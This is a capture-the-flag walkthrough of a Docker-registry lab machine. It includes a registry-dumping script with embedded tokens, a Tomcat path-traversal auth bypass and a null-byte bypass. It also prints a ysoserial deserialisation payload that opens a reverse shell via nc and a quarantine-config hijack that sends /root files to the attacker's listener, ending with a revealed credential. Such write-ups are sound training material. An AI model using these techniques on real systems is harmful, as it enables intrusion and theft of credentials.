$ nmap -p- --min-rate 4000 10.129.172.95
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-28 12:25 +08
Nmap scan report for 10.129.172.95
Host is up (0.0064s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
5000/tcp open upnp
5001/tcp open commplex-link
Port 5000 is for Docker Registry based on Hacktricks. I did a detailed scan as well:
$ nmap -p 443,5000,5001 -sC -sV --min-rate 5000 10.129.172.95
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-28 12:27 +08
Nmap scan report for 10.129.172.95
Host is up (0.0067s latency).
PORT STATE SERVICE VERSION
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| ssl-cert: Subject: organizationName=free-hosting/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2023-02-01T20:19:22
|_Not valid after: 2024-02-01T20:19:22
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://www.webhosting.htb/
5000/tcp open ssl/http Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN
| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb
| Not valid before: 2023-03-26T21:32:06
|_Not valid after: 2024-03-25T21:32:06
5001/tcp open ssl/commplex-link?
We can take note of the webhosting.htb domain and add it to the /etc/hosts file.
Initial Enumeration -> Fuzz Params
We have to add www.webhosting.htb to our /etc/hosts file to view the HTTPS application:
We can try registering a user and logging in.
Using this, we have the ability to create new subdomains:
Visiting this reveals a simple HTML page:
Since this machine is Docker related, the web application might be creating a Docker container for each new subdomain that we create. As such, we can focus a bit more on port 5000.
When using DockerGraber.py, I got an unauthorized error:
However, in my case the detail variable has been set to null, even when I send this token in as part of either the Cookie or Authorization: Bearer headers. Perhaps we need to specify the service that we want or something.
Based on this, I started to fuzz the parameters that we could send with this link with wfuzz:
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh=1332,1330 https://www.webhosting.htb:5001/auth?FUZZ=aaaaaaaa
<TRUNCATED>
000000375: 200 0 L 1 W 1354 Ch "service"
000000349: 401 1 L 2 W 13 Ch "account"
000000450: 200 0 L 1 W 1328 Ch "tag"
000000558: 200 0 L 1 W 1328 Ch "85"
000000652: 200 0 L 1 W 1328 Ch "transparent"
000000712: 200 0 L 1 W 1324 Ch "forward"
000000734: 200 0 L 1 W 1324 Ch "columnists"
<TRUNCATED>
Out of all the outputs, account and service had the greatest deviation from the rest of them, indicating that a completely different token was generated. account just requested us to login via HTTP, while the service one was interesting. Seems that it changes the aud parameter.
Based on this, we can fuzz further for other parameters as I want to change the access portion and see if we can access other resources.
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh=1352,1354,1346,1348 'https://www.webhosting.htb:5001/auth?service=aaaaaaaa&FUZZ=bbbbbbbb'
000000481: 401 1 L 2 W 13 Ch "account"
000003637: 400 1 L 5 W 39 Ch "scope"
Seems that scope is the next parameter.
There's a valid scope to enter. The normal error message included 3 parameters:
Based on this error, it might be looking for these 3 parameters. After some testing, I found that scope=registry:catalog:* returned a valid token:
Now we need to experiment with what's the right aud parameter to stop getting an error. I found that specifying Docker+registry worked and I didn't get an error on port 5000:
API Fuzz -> Dump Repository
Visiting v2/_catalog returned one repository:
Attempting to dump the repository using the same token results in an error:
We can change the token to have scope=repository:hosting-app:pull and try again:
Visiting /manifests/latest reveals a lot of information like blobSum and what not. Based on this, we can modify DockerGraber.py to include this token and dump everything from it using that. Here's my modified script:
#!/usr/bin/env python3import requestsimport argparseimport reimport jsonimport sysimport osfrom base64 import b64encodeimport urllib3from rich.console import Consolefrom rich.theme import Themefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)req = requests.Session()http_proxy =""os.environ['HTTP_PROXY']= http_proxyos.environ['HTTPS_PROXY']= http_proxycustom_theme =Theme({"OK": "bright_green","NOK": "red3"})defmanageArgs(): parser = argparse.ArgumentParser()# Positionnal args parser.add_argument("url", help="URL")# Optionnal args parser.add_argument("-p", dest='port', metavar='port', type=int, default=5000, help="port to use (default : 5000)")## Authentification auth = parser.add_argument_group("Authentication") auth.add_argument('-U', dest='username', type=str, default="", help='Username') auth.add_argument('-P', dest='password', type=str, default="", help='Password')### Args Action en opposition action = parser.add_mutually_exclusive_group() action.add_argument("--dump", metavar="DOCKERNAME", dest='dump', type=str, help="DockerName") action.add_argument("--list", dest='list', action="store_true") action.add_argument("--dump_all",dest='dump_all',action="store_true") args = parser.parse_args()return argsdefprintList(dockerlist):for element in dockerlist:if element: console.print(f"[+] {element}", style="OK")else: console.print(f"[-] No Docker found", style="NOK")deftryReq(url,headers,username=None,password=None):try:if username and password: r = req.get(url,verify=False, auth=(username,password), headers=headers) r.raise_for_status()else: r = req.get(url,verify=False, headers=headers) r.raise_for_status()except requests.exceptions.HTTPError as errh: console.print(f"Http Error: {errh}", style="NOK") sys.exit(1)except requests.exceptions.ConnectionError as errc: console.print(f"Error Connecting : {errc}", style="NOK") sys.exit(1)except requests.exceptions.Timeout as errt: console.print(f"Timeout Error : {errt}", style="NOK") sys.exit(1)except requests.exceptions.RequestException as err: console.print(f"Dunno what happend but something fucked up {err}", style="NOK") sys.exit(1)return rdefcreateDir(directoryName):ifnot os.path.exists(directoryName): os.makedirs(directoryName)defdownloadSha(url,port,docker,sha256,username=None,password=None): header = {'Authorization':'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwNTIzOTUwLCJuYmYiOjE2OTA1MjMwNDAsImlhdCI6MTY5MDUyMzA1MCwianRpIjoiNDAzMjY1NzAzMjA0NjI0NzgwMiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.Czl2xzwaM-R8mY--HzpctBqX19UP7aU53jLVmt4RPeREwaSAF40xumUK_pktW6jnOdgI4U3x3sWYfhrazXZXLuz9_nOA7So4JhWQII55lgUlHX0bPgybA2zI1q4E3aVolPzJESK_CWIPqqIWZcTGd7sYGQxKG0t7EXreVIpD6tE-r1cqwDGYrAXCfKxNV-VOSffmVQqM73L477FNs5PUMDT8CD6wZgy8L0z2PIiaTGu-S4Gy0F5-USmoQpIGfZo7Stxhqj7obmVE0qedHXLyoRWIAE7DceaZY5iXNQSS0cFsT2NE9P_HWm2SGbUW0BP_BxoS0mKrrVEhU9stZvgw1Q'}
createDir(docker) directory =f"./{docker}/"for sha in sha256: filenamesha =f"{sha}.tar.gz" geturl =f"{url}:{str(port)}/v2/{docker}/blobs/sha256:{sha}" r =tryReq(geturl,header,username,password)if r.status_code ==200: console.print(f" [+] Downloading : {sha}", style="OK")withopen(directory+filenamesha, 'wb')as out:for bits in r.iter_content(): out.write(bits)defgetBlob(docker,url,port,username=None,password=None): tags =f"{url}:{str(port)}/v2/{docker}/tags/list" header = {'Authorization':'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwNTIzOTUwLCJuYmYiOjE2OTA1MjMwNDAsImlhdCI6MTY5MDUyMzA1MCwianRpIjoiNDAzMjY1NzAzMjA0NjI0NzgwMiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.Czl2xzwaM-R8mY--HzpctBqX19UP7aU53jLVmt4RPeREwaSAF40xumUK_pktW6jnOdgI4U3x3sWYfhrazXZXLuz9_nOA7So4JhWQII55lgUlHX0bPgybA2zI1q4E3aVolPzJESK_CWIPqqIWZcTGd7sYGQxKG0t7EXreVIpD6tE-r1cqwDGYrAXCfKxNV-VOSffmVQqM73L477FNs5PUMDT8CD6wZgy8L0z2PIiaTGu-S4Gy0F5-USmoQpIGfZo7Stxhqj7obmVE0qedHXLyoRWIAE7DceaZY5iXNQSS0cFsT2NE9P_HWm2SGbUW0BP_BxoS0mKrrVEhU9stZvgw1Q'}
rr =tryReq(tags,header, username,password) data = rr.json() image = data["tags"][0] url =f"{url}:{str(port)}/v2/{docker}/manifests/"+image+"" r =tryReq(url,header,username,password) blobSum = []if r.status_code ==200: regex = re.compile('blobSum')for aa in r.text.splitlines(): match = regex.search(aa)if match: blobSum.append(aa)ifnot blobSum : console.print(f"[-] No blobSum found", style="NOK") sys.exit(1)else: sha256 = [] cpt =1for sha in blobSum: console.print(f"[+] BlobSum found {cpt}", end='\r', style="OK") cpt +=1 a = re.split(':|,',sha) sha256.append(a[2].strip("\""))print()return sha256defenumList(url,port,username=None,password=None,checklist=None): cookie = {'Authorization':'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwNTI0MTg4LCJuYmYiOjE2OTA1MjMyNzgsImlhdCI6MTY5MDUyMzI4OCwianRpIjoiNjA3NzM5NTYyMzkwNTI5NjY3MSIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.IMKOSfl4SURM9alvmF7Yadf7b3hmMBI79H5hQWrrev4zHwLc4CDIo43Ndo4QduNEI0TUJ7S3kTgUDFWek7B_zbohJouVOY3HvbASWvZHKS-cp4MT3565jkNwZug51N-r5cjpJfMBy90rTeeCmswsjZMzQ3pJHL5Db_ceIn0mJc0ZCG1zMcET76MhLn61WREznh7vDpPnA6M1sHGwFQiddKMIWTIoi7fI_EdRCUskJmXP6WsTvsKs-DsFE-odMlYGd4452RQWW-wTuiqlnXuLHDcVh19sOuwUCd7tTIC7F1OkwCHJw2_vBf_sICBEmPPQYVkyz5Wqfj3cuM1KDYRnoA'}
url =f"{url}:{str(port)}/v2/_catalog"try: r =tryReq(url,cookie,username,password)if r.status_code ==200: catalog2 = re.split(':|,|\n ',r.text) catalog3 = []for docker in catalog2: dockername = docker.strip("[\'\"\n]}{") catalog3.append(dockername)printList(catalog3[1:])return catalog3except:exit()defdump(args): sha256 =getBlob(args.dump, args.url, args.port, args.username, args.password) console.print(f"[+] Dumping {args.dump}", style="OK")downloadSha(args.url, args.port, args.dump, sha256, args.username, args.password)defdumpAll(args): dockerlist =enumList(args.url, args.port, args.username,args.password)for docker in dockerlist[1:]: sha256 =getBlob(docker, args.url, args.port, args.username,args.password) console.print(f"[+] Dumping {docker}", style="OK")downloadSha(args.url, args.port,docker,sha256,args.username,args.password)defoptions(): args =manageArgs()if args.list:enumList(args.url, args.port,args.username,args.password)elif args.dump_all:dumpAll(args)elif args.dump:dump(args)if__name__=='__main__':print(f"[+]======================================================[+]")print(f"[|] Docker Registry Grabber v1 @SyzikSecu [|]")print(f"[+]======================================================[+]")print() urllib3.disable_warnings() console =Console(theme=custom_theme)options()
This would generate loads of tar files from the repository we pulled:
$ for f in *.tar.gz; do tar xf "$f" ; done
$ ls
bin dev etc home lib media mnt proc root run sbin srv sys tmp usr var
Within the /usr/local/tomcat/webapps/ folder, there's some source code for the web application:
$ ls
docs examples hosting.war host-manager manager ROOT
The source code seems to be compiled within the .war file. We can decompile this online or jd-gui.
There's a lot to look through here. Within the ConfigurationServlet.class file, there's a check on whether we are a manager on the website:
Within RMIClientWrapper.class, there's mention of other hostnames as well:
And this has to do with the FileService somehow.
We need a way to modify our session to become an Administrator. Since this is Tomcat, I found this page detailing how it is possible to become an administrator:
Took me about 1 hour before realising that the ..; Tomcat auth bypass works here:
Using this, we can locate the SessionExample page:
Using this, we can set the s_IsLoggedInUserRoleManager session attribute to true. Afterwards, we would gain access to the reconfiguration panel.
More Reviewing -> RMIClient LFI
The key question in my head was around the rmiHost parameter and where we had to use it. Since we had access to the Reconfigure panel as the manager of the site, this only gave us one more thing to work with, which was this panel:
By default, the HTTP request for this only includes the domains.max and domains.start-template parameters. Within the ConfigurationServlet.class file however, it shows that sending POST requesst to this updates the Settings variable using a hashmap.
The code for the RMI portion takes the rmi.host parameter from the Settings variable and checks for whether it contains the .htb string. We can try to specify our IP address and bypass the check using a null byte.
Here's the request:
POST /hosting/reconfigure HTTP/1.1Host:www.webhosting.htbCookie:JSESSIONID=4D32F3013C3793D48EC21C821B4E640EUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:130Origin:https://www.webhosting.htbReferer:https://www.webhosting.htb/hosting/reconfigureUpgrade-Insecure-Requests:1Sec-Fetch-Dest:documentSec-Fetch-Mode:navigateSec-Fetch-Site:same-originSec-Fetch-User:?1Te:trailersConnection:closedomains.max=5&domains.start-template=%3Cbody%3E%0D%0A%3Ch1%3EIt+works%21%3C%2Fh1%3E%0D%0A%3C%2Fbody%3E&rmi.host=10.10.14.24%00.htb
The code makes a connection to port 9002 using the RMI service. As such, we can create an RMI server and listen on that port. Googling for exploits shows a CTF Writeup where deserialisation was used to achieve RCE on the remote server.
I didn't have anything else I could do, so I tried it using the different CommonsCollections there were within ysoserial.
After sending the boave request, we need a method of which to trigger the exploit. From looking at service and our limited stuff, I honestly randomly clicked around the website, and found that by visiting the existing domain created, it triggers the exploit:
$ /usr/lib/jvm/java-8-openjdk-amd64/bin/java -cp ~/ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections6 'nc 10.10.14.24 4444 -e /bin/bash'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
* Opening JRMP listener on 9002
Have connection from /10.129.83.85:53446
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
App -> RMI Client -> Read User Creds
This shell was within a very restricted docker container. Checking the services present, we can see that there are loads of other ports:
These other ports might be run by a user on the main machine. The most interesting thing was port 9002 which was listening within the container.
The idea of FileService was still present in my head. Perhaps there was a way to interact with the actual service that was listening on port 9002 reachable from this container, since we injected code into the rmi.host parameter to get this shell in the first place. I took another look at the source code for the FileService.class file:
Problem is, there's no actual code present that would interact with the service. Based on the functions available, we should be able to use the getFile method to read stuff from the directory using a custom client that we can create using all the code present.
Code is at the end of the writeup.
I took these files:
AbstractFile.class
FileService.class
RMIClientWrapper.class and modified it such that I can specify the file that I want to read.
Afterwards, I compiled the code within com/htb/hosting/rmi to be consistent with the package variable I used.
$ javac com/htb/hosting/rmi/RMIClientWrapper.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Then, we need to forward port 9002 using chisel. I did my initial testing, and realised that we need to include the CryptUtil.class files since the service seems to expect an encrypted path.
Afterwards, we can compile and run the RMIClient code and find that it works in listing directories and reading files! Reading /etc/passwd just shows us that developer is a user on the machine, and the user's directory contains some useful information.
I first saw that this thing opens port 9002 again to run the service:
Afterwards, files scanned that are flagged as malicious are quarantined in a separate directory. The system contains a /quarantine directory which we have read access to. Afterwards, this thing also opens a listener port based on the configuration:
When checking the open ports on the machine, there are a few:
developer@registry:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3310 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::443 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN -
tcp6 0 0 :::5000 :::* LISTEN -
tcp6 0 0 :::8009 :::* LISTEN -
tcp6 0 0 :::5001 :::* LISTEN -
tcp6 0 0 :::9002 :::* LISTEN -
tcp6 0 0 :::3306 :::* LISTEN -
tcp6 0 0 :::9003 :::* LISTEN -
tcp6 0 0 :::3310 :::* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN -
tcp6 0 0 :::40241 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
There's also a registry.jar present in the /opt directory of the machine:
developer@registry:/opt$ ls
containerd registry.jar
Extracting from this file reveals that it contains the configurations that we need:
Hijack Configuration -> Read Root Creds
Since root is executing the quarantine.jar file, and the quarantine has to scan all of the files present within a specified directory, we can modify it such that it is able to read and copy the entire /root directory, which includes the flag.
Here are the parameters we can change:
quarantineDirectory = /quarantine
monitorDirectory = /root
clamHost = Our IP
clamPort = Our port
clamTimeout = Any arbitrary number (I set it at 2000)
We can modify the QuarantineServiceImpl.class file as such:
packagecom.htb.hosting.rmi.quarantine;importcom.htb.hosting.rmi.FileServiceConstants;importjava.io.File;importjava.rmi.RemoteException;importjava.util.logging.Logger;publicclassQuarantineServiceImplimplementsQuarantineService {privatestaticfinalLogger logger =Logger.getLogger(QuarantineServiceImpl.class.getSimpleName());privatestaticfinalQuarantineConfiguration DEFAULT_CONFIG;publicQuarantineConfigurationgetConfiguration() throwsRemoteException {logger.info("client fetching configuration");return DEFAULT_CONFIG; }static { DEFAULT_CONFIG = new QuarantineConfiguration (new File ("/quarantine"), new File("/root/"), "10.10.14.24", 4444, 2000);
}}
Then, we can recompile this file and the rest of the .jar:
$ javac com/htb/hosting/rmi/quarantine/QuarantineServiceImpl.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
$ jar cmvf META-INF/MANIFEST.MF registry.jar .
Then, we need to keep running the code to hijack port 9002 and continuously listen on our own port 4444. The reason we need to do this is because:
Port 9002 is already used within the machine and we want to hijack it whenever possible, which can take a while since it is always being used by root.
The listener port must be activated multiple times because once it captures a request, the scan would not continue for the rest of the files. By having it continuously executed, it allows for scanning of multiple files.
developer@registry:/tmp$ while true; java -jar registry.jar; done
$ while true; do nc -lvnp 4444; done
Eventually, we'll see this on the registry machine:
[+] Bound to 9002
There'll also be a lot of hits on our listener port as it moves all the files from /root to the /quarantine folder. We will eventually find a _root_.git-credentials file:
developer@registry:/quarantine$ ls *
'quarantine-run-2023-07-29T14:33:15.287218947':
_root_.git-credentials
developer@registry:/quarantine/quarantine-run-2023-07-29T14:33:15.287218947$ cat _root_.git-credentials
https://admin:52nWqz3tejiImlbsihtV@github.com
We can then su to root:
Final RMIClient Code
This is not my code. I had help from another user for this machine because I was stuck. However, I did learn a lot from this code.